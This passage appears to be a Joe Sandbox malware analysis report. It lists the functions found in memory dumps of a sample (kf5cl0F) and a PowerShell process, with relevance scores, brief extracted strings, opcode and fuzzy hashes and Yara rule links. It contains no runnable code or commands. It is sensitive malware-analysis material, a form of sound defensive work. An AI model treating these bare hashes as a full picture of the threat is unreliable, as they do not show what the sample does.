Instruction Fuzzy Hash: 4F81C47090A3948FDB06DFB8D560ADD7BB1FF46304B2150AED441FB2A2C6329D4ACB55

Function 00EC3A98 Relevance: 2.8, Strings: 2, Instructions: 255COMMON

Download Yara Rule

Strings

(Rr, xrefs: 00EC3BF7
(Rr, xrefs: 00EC3B62

Memory Dump Source

Source File: 00000006.00000002.2859358716.0000000000EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_kf5cl0F.jbxd

Similarity

API ID:
String ID: (Rr$(Rr
API String ID: 0-490398145
Opcode ID: 03ef497705ffa0d27c1cf963c837726465c407eedb2aed0065ae7699ea5be2fe
Instruction ID: 3f7ba969797edfa05fa2532487f94005196fa539162353f285afd5b22c083d44
Opcode Fuzzy Hash: 03ef497705ffa0d27c1cf963c837726465c407eedb2aed0065ae7699ea5be2fe
Instruction Fuzzy Hash: 9BB1AF74A00219CFCB14DFA8C984EEDBBB5BF49304F209669E405BB2A5D771AD46CF90

Function 00EC0AC8 Relevance: 1.5, Strings: 1, Instructions: 226COMMON

Download Yara Rule

Strings

a]q, xrefs: 00EC0CAA

Memory Dump Source

Source File: 00000006.00000002.2859358716.0000000000EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_kf5cl0F.jbxd

Similarity

API ID:
String ID: a]q
API String ID: 0-3765744518
Opcode ID: e7fe0c3e9d5fcd14fe09857f2a375b9a0d6447b4e495146f94927f578565630c
Instruction ID: 884abe4816f1c9ea0eefcdd033887930d899b13aed3a54f534ed3f3892373d4e
Opcode Fuzzy Hash: e7fe0c3e9d5fcd14fe09857f2a375b9a0d6447b4e495146f94927f578565630c
Instruction Fuzzy Hash: 7A91E374E01208CFCB14DFA9D984A9DFBB1BF89310F20962AD815BB365DB30A946CF54

Function 00EC3A89 Relevance: 1.4, Strings: 1, Instructions: 116COMMON

Download Yara Rule

Strings

(Rr, xrefs: 00EC3B62

Memory Dump Source

Source File: 00000006.00000002.2859358716.0000000000EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_kf5cl0F.jbxd

Similarity

API ID:
String ID: (Rr
API String ID: 0-1319660223
Opcode ID: f2cf9d31b8f92bdbfd664169df02171bc3fc1bd86ce5638a6443c95b98d7ef58
Instruction ID: 74e837c09257e5d013e1b1d5f88ef38fe0dbb46dcce66a558d51f0190243821c
Opcode Fuzzy Hash: f2cf9d31b8f92bdbfd664169df02171bc3fc1bd86ce5638a6443c95b98d7ef58
Instruction Fuzzy Hash: E2411470D00218CFCB14DFA4C984ADDBBB5BF49304F24926AD405BB265DB36AD46CF54

Function 00EC0FD0 Relevance: 1.3, Strings: 1, Instructions: 89COMMON

Download Yara Rule

Strings

8E, xrefs: 00EC108A

Memory Dump Source

Source File: 00000006.00000002.2859358716.0000000000EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_kf5cl0F.jbxd

Similarity

API ID:
String ID: 8E
API String ID: 0-2408203918
Opcode ID: 516b6bdb9f88856ae9d459b8532ab3c30c696631ffed5a88ab7274789c5a9456
Instruction ID: b66bca7c1df053aa1462f7339e2e596c38409a4dfe08781e2ba4e5963af12e37
Opcode Fuzzy Hash: 516b6bdb9f88856ae9d459b8532ab3c30c696631ffed5a88ab7274789c5a9456
Instruction Fuzzy Hash: 7231D5B4E002099FCB04DFA9D985AEEBBF2FF89300F109169E415B7351DB316A42CB95

Function 00EC09B1 Relevance: 1.3, Strings: 1, Instructions: 64COMMON

Download Yara Rule

Strings

\P, xrefs: 00EC09E9

Memory Dump Source

Source File: 00000006.00000002.2859358716.0000000000EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_kf5cl0F.jbxd

Similarity

API ID:
String ID: \P
API String ID: 0-2231316654
Opcode ID: 6e9e10b7aa88b293926cf54647dcfbf44a5b1cfd92b00a92032ea32dba659f1e
Instruction ID: f832cbbc0974bbac6d63694ea7ca3ad2896b7c49cf3442b1c92cfc505e2f1d5b
Opcode Fuzzy Hash: 6e9e10b7aa88b293926cf54647dcfbf44a5b1cfd92b00a92032ea32dba659f1e
Instruction Fuzzy Hash: 26217A71D0024D9FCF05DFA8D8509DDBFB1EF49310F4081AAD450BB2A1DB30AA46CB91

Function 00EC539C Relevance: .5, Instructions: 483COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2859358716.0000000000EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_kf5cl0F.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28a2a26e39eaeac83ff2bcaa10652c04dba2e963aad4dbdaf978b32b28703f3b
Instruction ID: ab418c4ca6f9352172daca780b159a4efbe03b7dbbcf087885e2ffe4074dd162
Opcode Fuzzy Hash: 28a2a26e39eaeac83ff2bcaa10652c04dba2e963aad4dbdaf978b32b28703f3b
Instruction Fuzzy Hash: 12F0BE30805244DFC712EB78991969C3BB0EF42300B1549CA9404A71A2C6351E49DB51

Function 00EC2078 Relevance: .4, Instructions: 365COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2859358716.0000000000EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_kf5cl0F.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92bb7c723d38eec925f8b42df0a990370a7f0d2868da4a31c6c2debb3dc21e9a
Instruction ID: 72c241e49c07a83887c44b47d8c53066e0f8375fe4f3a7111d334d3bf7b4383c
Opcode Fuzzy Hash: 92bb7c723d38eec925f8b42df0a990370a7f0d2868da4a31c6c2debb3dc21e9a
Instruction Fuzzy Hash: F202B274A4122ACFDB64DF28C991BD9B7B1BF89300F1085E9D809AB754DB30AE85CF50

Function 00EC2069 Relevance: .2, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2859358716.0000000000EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_kf5cl0F.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73804535ff6102aaccd8a45991ee73dfb4e0a7f9d76ad8837693cdfa4411e6b2
Instruction ID: 0b35af659315df470ce71f9834425361f02c739b04546b69914f3646e776d42a
Opcode Fuzzy Hash: 73804535ff6102aaccd8a45991ee73dfb4e0a7f9d76ad8837693cdfa4411e6b2
Instruction Fuzzy Hash: 37C1A274A4122ACFDB64DF28C995BD9B7B1BB49300F1085EAD80DA7754EB31AE81CF50

Function 00EC26D1 Relevance: .2, Instructions: 177COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2859358716.0000000000EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_kf5cl0F.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ccafa9833f1e2e6c130e159d0c343143a6719e392347a31bf8044d6bdb26f25c
Instruction ID: 0c8b22c6f65a29f6a7e78dbeeda6941ddc1f631487a5eb24bc6d52399e8c55d1
Opcode Fuzzy Hash: ccafa9833f1e2e6c130e159d0c343143a6719e392347a31bf8044d6bdb26f25c
Instruction Fuzzy Hash: BF91B474A4022ACFDB64DF28C991BD9B7B1BF49300F1085EAD848A7755DB70AE81CF91

Function 00EC57B8 Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2859358716.0000000000EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_kf5cl0F.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5340612372502d92be230a356062e9c82eaab0e9f36091c7f048f6abc1e4d5f2
Instruction ID: 69e578b9bb43836ef0ccb5b076f7d682f141e991b7a7a382e7aef5a7e5879b58
Opcode Fuzzy Hash: 5340612372502d92be230a356062e9c82eaab0e9f36091c7f048f6abc1e4d5f2
Instruction Fuzzy Hash: 3161F274E01218CFDB14CFA9C984A9EBBB2BF89304F209169D819BB345DB316986CF51

Function 00EC67D0 Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2859358716.0000000000EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_kf5cl0F.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e160a58a5fe08707c4a896ea7c1238edc0af8410631d4b0723f0d801ab0e5fee
Instruction ID: 0548e5d457bf12dd518f47cd6c85fd7af5fbc92526175894b4183f4694ddc0c6
Opcode Fuzzy Hash: e160a58a5fe08707c4a896ea7c1238edc0af8410631d4b0723f0d801ab0e5fee
Instruction Fuzzy Hash: AE71C474E01218CFDB64DFA9C941B9EBBB2BF89300F1091A9D409BB345DB706986CF51

Function 00EC37F8 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2859358716.0000000000EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_kf5cl0F.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91718feea5c73f43ae45bb1e86234c97e7d34a633a15d2a597c3457884a246ce
Instruction ID: ef7bd4583c81c130b599c3882d879d7342d84aeed6a3c92a2d41e8928fea8a5e
Opcode Fuzzy Hash: 91718feea5c73f43ae45bb1e86234c97e7d34a633a15d2a597c3457884a246ce
Instruction Fuzzy Hash: D841E831A083858FCB15DF75D8806CABFB5EF86310B14C1AAD448FB196D731E559CBA2

Function 00EC33E2 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2859358716.0000000000EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_kf5cl0F.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a43a7a61dd7e0406abfdec346c93a41b3e1aa511108a4fed087f21f879cbf8ac
Instruction ID: 4efb56ef3646d68e9185153f8761dabd07d115eef84710db3c565b46f0b94a97
Opcode Fuzzy Hash: a43a7a61dd7e0406abfdec346c93a41b3e1aa511108a4fed087f21f879cbf8ac
Instruction Fuzzy Hash: 8651E574A01218CFCB18DFB4D590A9DBBB2BF8A304F60946DE405B7365CB36A946CB44

Function 00EC2A0E Relevance: .1, Instructions: 141COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2859358716.0000000000EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_kf5cl0F.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f947e21318c3707417564cdaf284a17808132e532581499c5c77516a17be55d9
Instruction ID: 5cc5df48889b4201ab64d6724e53aef279c95624379f8b708118d71c5a3650f5
Opcode Fuzzy Hash: f947e21318c3707417564cdaf284a17808132e532581499c5c77516a17be55d9
Instruction Fuzzy Hash: B4719374A4122ACFDB64DF28C991F99B7B1BF49300F1085E9980CAB755DB30AE85CF51

Function 00EC495C Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2859358716.0000000000EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_kf5cl0F.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 638495e92dead2ab6bceab7dc37fc1da5b2209910c6fd6eeaae22b2eba0fff7b
Instruction ID: 9817a98179198ab20f734a25238b5a5ca406c3d1e33972f97bf2f2cf0376e8fc
Opcode Fuzzy Hash: 638495e92dead2ab6bceab7dc37fc1da5b2209910c6fd6eeaae22b2eba0fff7b
Instruction Fuzzy Hash: FC51DFB4D042489FDB10DFAAD590ADEFBF1BF49300F24902AE418BB250D7759986CF58

Function 00EC4968 Relevance: .1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2859358716.0000000000EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_kf5cl0F.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc481d85dc9736f9996bad68ac0e7b0a89daabba0e1806baff7832bc8b1eaa0f
Instruction ID: dc2ce703acfb931be6d0b80b5142011f08056742fde8d5991ba171bb93831007
Opcode Fuzzy Hash: cc481d85dc9736f9996bad68ac0e7b0a89daabba0e1806baff7832bc8b1eaa0f
Instruction Fuzzy Hash: 9841CEB4D002489FCB10DFAAD580ADEFBF1BF49304F20902AE818BB250DB759946CF58

Function 00EC0AB9 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2859358716.0000000000EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_kf5cl0F.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: beb8373fbec6e3f3d18c4001dd00bb87f1a07e483d26333a9ef4f64abe793ea9
Instruction ID: 5ca70723111d68ff36fd6dd3d796c37519e75fd44f68998474dac92b8f0b571e
Opcode Fuzzy Hash: beb8373fbec6e3f3d18c4001dd00bb87f1a07e483d26333a9ef4f64abe793ea9
Instruction Fuzzy Hash: 9A319674D01248CFCB18DFAAD688BDCBBF1AF89300F14916AD415BB2A1DB758906CF50

Function 00EC0524 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2859358716.0000000000EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_kf5cl0F.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb2ff98ea2e257f86448b51da38ef119626811399b26cfb0b3f900392f8dfa4c
Instruction ID: 609ae71189afe1e512b7c719a88e43afa7602c4f5e1cfc26da69585d98a14f8d
Opcode Fuzzy Hash: eb2ff98ea2e257f86448b51da38ef119626811399b26cfb0b3f900392f8dfa4c
Instruction Fuzzy Hash: 9C31AAB5D05258DFCB10CFA9E984ADEFBF4AB49310F20906AE814B7310D375A945CFA4

Function 00EC2CA8 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2859358716.0000000000EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_kf5cl0F.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e14c90d4750ae9838fbbe64f953dc61a26fcb68d17e242a892cbd7758b1014c8
Instruction ID: 03304a38cc6217b1974f7aef7104d512cd55dd8b63714d9ef943fbc7a0683ed8
Opcode Fuzzy Hash: e14c90d4750ae9838fbbe64f953dc61a26fcb68d17e242a892cbd7758b1014c8
Instruction Fuzzy Hash: 2C31F830A4061BCFDB60DF25CD44BAAB7B2AF85304F1095E994097B655DB30AE85CF51

Function 00EC3755 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2859358716.0000000000EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_kf5cl0F.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ca1d659200c87e13145f039d98a9dbda6f2213b9d74155d5dc1cfa82c7b38da
Instruction ID: d97eaa20d4d15a13360c67834157e9df4a5cb634025655c58dd6844568b7d790
Opcode Fuzzy Hash: 8ca1d659200c87e13145f039d98a9dbda6f2213b9d74155d5dc1cfa82c7b38da
Instruction Fuzzy Hash: 402106B1A082948FCF11DBB9C8109DEBFB2EF86320714C1ABC055F7292D6359907CB90

Function 00EC3971 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2859358716.0000000000EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_kf5cl0F.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c88f36d5c43d585e2f685d079a70b9ea8f33cfcec67a3c15cd92dc439a4f6f32
Instruction ID: 81dd5ab9a20039391052780d7745b6646670b8968ac90dd1c787386e9d29a674
Opcode Fuzzy Hash: c88f36d5c43d585e2f685d079a70b9ea8f33cfcec67a3c15cd92dc439a4f6f32
Instruction Fuzzy Hash: 36314BB0E0025A9FCB01DFA8D9409DDBFB1FF49300F4186AAE454BB255CB30AE46CB91

Function 00EC5C50 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2859358716.0000000000EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_kf5cl0F.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71c53e5543b74007e51a9f8478f4ead2604470f1a367f1e2ed1d4c1545deb072
Instruction ID: 2af17dff41c292822a1ea4a3e03926148b02fb19c4ed20a1eeafdd6c524a24ea
Opcode Fuzzy Hash: 71c53e5543b74007e51a9f8478f4ead2604470f1a367f1e2ed1d4c1545deb072
Instruction Fuzzy Hash: 3621F971A022089BCB08EFB5D550AEEBBB2BF8A310F10646DE40577351DB325D41CB55

Function 00EC1F61 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2859358716.0000000000EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_kf5cl0F.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d999c707c0ae0657ac2592e4bc5f5a075a62d3d9a4329367a708590375efee2e
Instruction ID: 6a7e46ce5f0cfa35e6ac2416482379b4637da9539088158d73bc628b143f6122
Opcode Fuzzy Hash: d999c707c0ae0657ac2592e4bc5f5a075a62d3d9a4329367a708590375efee2e
Instruction Fuzzy Hash: 44218E70E002499FCF05DFA8D9509DDBFB1EF49300F4185AAD450BB2A5DB34E98ACB91

Function 00EC3650 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2859358716.0000000000EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_kf5cl0F.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe61f9249d25ffd68d68d426f7afdc8d12b8a56a49916b2867136cd8f60ec63d
Instruction ID: 9ffac043819289641a8d2d72a7e44df01efd2ef4f611b6a30498b97440ceb3c9
Opcode Fuzzy Hash: fe61f9249d25ffd68d68d426f7afdc8d12b8a56a49916b2867136cd8f60ec63d
Instruction Fuzzy Hash: 9F214370E052098FCB04DFA9D841AEEBBB1AF89300F00846AD415B73A1DB351A06CF90

Function 00EC19A0 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2859358716.0000000000EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_kf5cl0F.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c08e23c64d118f5df70f2cfb01ddba03acdbd5459aef274d20de53421f6e06fb
Instruction ID: 2755fac578ecf0f3f665ad54b88d608a257230f39a470225418b8bddd57435de
Opcode Fuzzy Hash: c08e23c64d118f5df70f2cfb01ddba03acdbd5459aef274d20de53421f6e06fb
Instruction Fuzzy Hash: D3115AB0D4220A9FDB44EFB9D5597AEBBF1BB46300F1094ADC415B32A0DB304A85CF85

Function 00EC2DFE Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2859358716.0000000000EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_kf5cl0F.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a67c6487a861c45911c7bccdcd4e9977f7c60e4c2bbab237432fe71a319ba502
Instruction ID: 21d197c2a3679c8b6128115ab7666d2c01acc8e86a2525e50314256ea5bedb2d
Opcode Fuzzy Hash: a67c6487a861c45911c7bccdcd4e9977f7c60e4c2bbab237432fe71a319ba502
Instruction Fuzzy Hash: AF116770E5091ACFE728CF1ACA41AA5F7F2AFCD210F56D1F5900CABA35E63099819E54

Function 00E1D7A9 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2858671393.0000000000E1D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e1d000_kf5cl0F.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ffbc3889f1df84261564dac510b42fdb586f2b8e89fab4bc819f49a39e589039
Instruction ID: ce4d69286fdbedebadd6173a10e6ae5af8b7f9d3b2ac9d87782ea35dacdc431b
Opcode Fuzzy Hash: ffbc3889f1df84261564dac510b42fdb586f2b8e89fab4bc819f49a39e589039
Instruction Fuzzy Hash: 7F01A7714093449EE7209A19DCC47A7BF98DF41324F28D41AED095A186C3799884D671

Function 00EC0F47 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2859358716.0000000000EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_kf5cl0F.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b78963187d8566a3fe4559e9607abdf1c414200cc2b7a3e5451b2b6ca14e9860
Instruction ID: d52447855f3b746788b2822c1c9edd92800fc7dc5d8172d195d146563ad5926c
Opcode Fuzzy Hash: b78963187d8566a3fe4559e9607abdf1c414200cc2b7a3e5451b2b6ca14e9860
Instruction Fuzzy Hash: 70113970D05249DFCB40DFA9C5446AEBBF0AF49300F2084AAD454F7361E7344A05DB51

Function 00EC3E05 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2859358716.0000000000EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_kf5cl0F.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20eb0d504ba91a6b93c6d94be98c7f88abc66ea3440f15e019fe05e68e5f65fe
Instruction ID: 4347360800d823da0d956eec8cf6c709ae908a5a3a63f411f7cfcb3de183883c
Opcode Fuzzy Hash: 20eb0d504ba91a6b93c6d94be98c7f88abc66ea3440f15e019fe05e68e5f65fe
Instruction Fuzzy Hash: CB016DB4E44308CFC744DF98C5909ECB7F4FB89710B101298D81AAB361DB30AD12CB55

Function 00E1D7A8 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2858671393.0000000000E1D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e1d000_kf5cl0F.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd5bfad13a26f6dfb3256656c42dc412c92b132d23adf38fe353fb93664dd8a7
Instruction ID: c9d7291478cba70c9f153a6be59ff60bfa0e1b19274331ea7c01fbf6a7953c03
Opcode Fuzzy Hash: bd5bfad13a26f6dfb3256656c42dc412c92b132d23adf38fe353fb93664dd8a7
Instruction Fuzzy Hash: 43F0F6724083449EE7248B0ADC84B67FFA8EF51338F18C45AFD085B286C3799C84CAB0

Function 00EC0958 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2859358716.0000000000EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_kf5cl0F.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7dd1e8c73c40ef404b4c25f426b578a59fc515a0ea88324304d18017a79d371b
Instruction ID: 670bde8e8a2ce817afaa8d239825c2aea7cd52d960481d177b05453430001ef6
Opcode Fuzzy Hash: 7dd1e8c73c40ef404b4c25f426b578a59fc515a0ea88324304d18017a79d371b
Instruction Fuzzy Hash: D4F0B2B1D00219DFCB45EFB8D944AAEBBF0FF45304F1046AAD415A72A4EB709A45CF81

Function 00EC5D0D Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2859358716.0000000000EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_kf5cl0F.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b1eb840c83a01f735a4fd88b0548f894e815a23dca1f6ff46de2a5d0f9fb8f4
Instruction ID: 4dfe61369183514874b8839282ee76ebc461910d1508e126f7b7a56d0a94aaf3
Opcode Fuzzy Hash: 3b1eb840c83a01f735a4fd88b0548f894e815a23dca1f6ff46de2a5d0f9fb8f4
Instruction Fuzzy Hash: 16F07F79E41218DFCB54EFA8D5949DDBBB0FF89310B10546AD819E7320DB30A952CF51

Function 00EC3DEF Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2859358716.0000000000EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_kf5cl0F.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e062cdb1ea9b98861fd07fd8e6f688cd50ec00740cba26c9b003010208f91e0d
Instruction ID: 07273a688f9abcdd6f0611e6641818906a3c4c7ba714dd0de4cca498ab7d86e1
Opcode Fuzzy Hash: e062cdb1ea9b98861fd07fd8e6f688cd50ec00740cba26c9b003010208f91e0d
Instruction Fuzzy Hash: 7DD01774E48214CFCB14CF99DA408ECB7B8BFCA325F01A269D01AA72A6C33099128B44

Function 00EC5740 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2859358716.0000000000EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_kf5cl0F.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc4730253613fdf04a3e1b3609673096bf46e50d33830d9215f0dd8d4c76b493
Instruction ID: c3cce91dd67603f306c32b52eceb75bcc286821e9ddbf76afdee3a67b3746dd8
Opcode Fuzzy Hash: fc4730253613fdf04a3e1b3609673096bf46e50d33830d9215f0dd8d4c76b493
Instruction Fuzzy Hash: 04E026B0501208DFCB00EFB8E905A8C77B5FB44300F1019A8A408B3251DB301F80DB51

Non-executed Functions

Function 00EC1530 Relevance: 7.8, Strings: 6, Instructions: 327COMMON

Download Yara Rule

Strings

%, xrefs: 00EC16A6
%, xrefs: 00EC1703
%, xrefs: 00EC16E6
(aq, xrefs: 00EC17A0
d-, xrefs: 00EC16C8
(aq, xrefs: 00EC17CC

Memory Dump Source

Source File: 00000006.00000002.2859358716.0000000000EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_kf5cl0F.jbxd

Similarity

API ID:
String ID: (aq$(aq$d-$%$%$%
API String ID: 0-2244312279
Opcode ID: 8d88a65e2c9f3675578314ce3066ba79d84a4833ae0479ddd36dbbf6d6c1f1b8
Instruction ID: c211846c17d37c66a8aa3de34d7054fc85c3a850811de578664e20123e84cb53
Opcode Fuzzy Hash: 8d88a65e2c9f3675578314ce3066ba79d84a4833ae0479ddd36dbbf6d6c1f1b8
Instruction Fuzzy Hash: 67B19270B002058FCB14DF69D594AAEB7F2EFCA314B2495AED406E7356DB31ED028B91

Analysis Process: powershell.exePID: 6208, Parent PID: 6972COMMON

Execution Graph

Execution Coverage:	7.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 04AEB470 Relevance: .3, Instructions: 265
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.2718309188.0000000004AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AE0000, based on PE: false

Joe Sandbox IDA Plugin

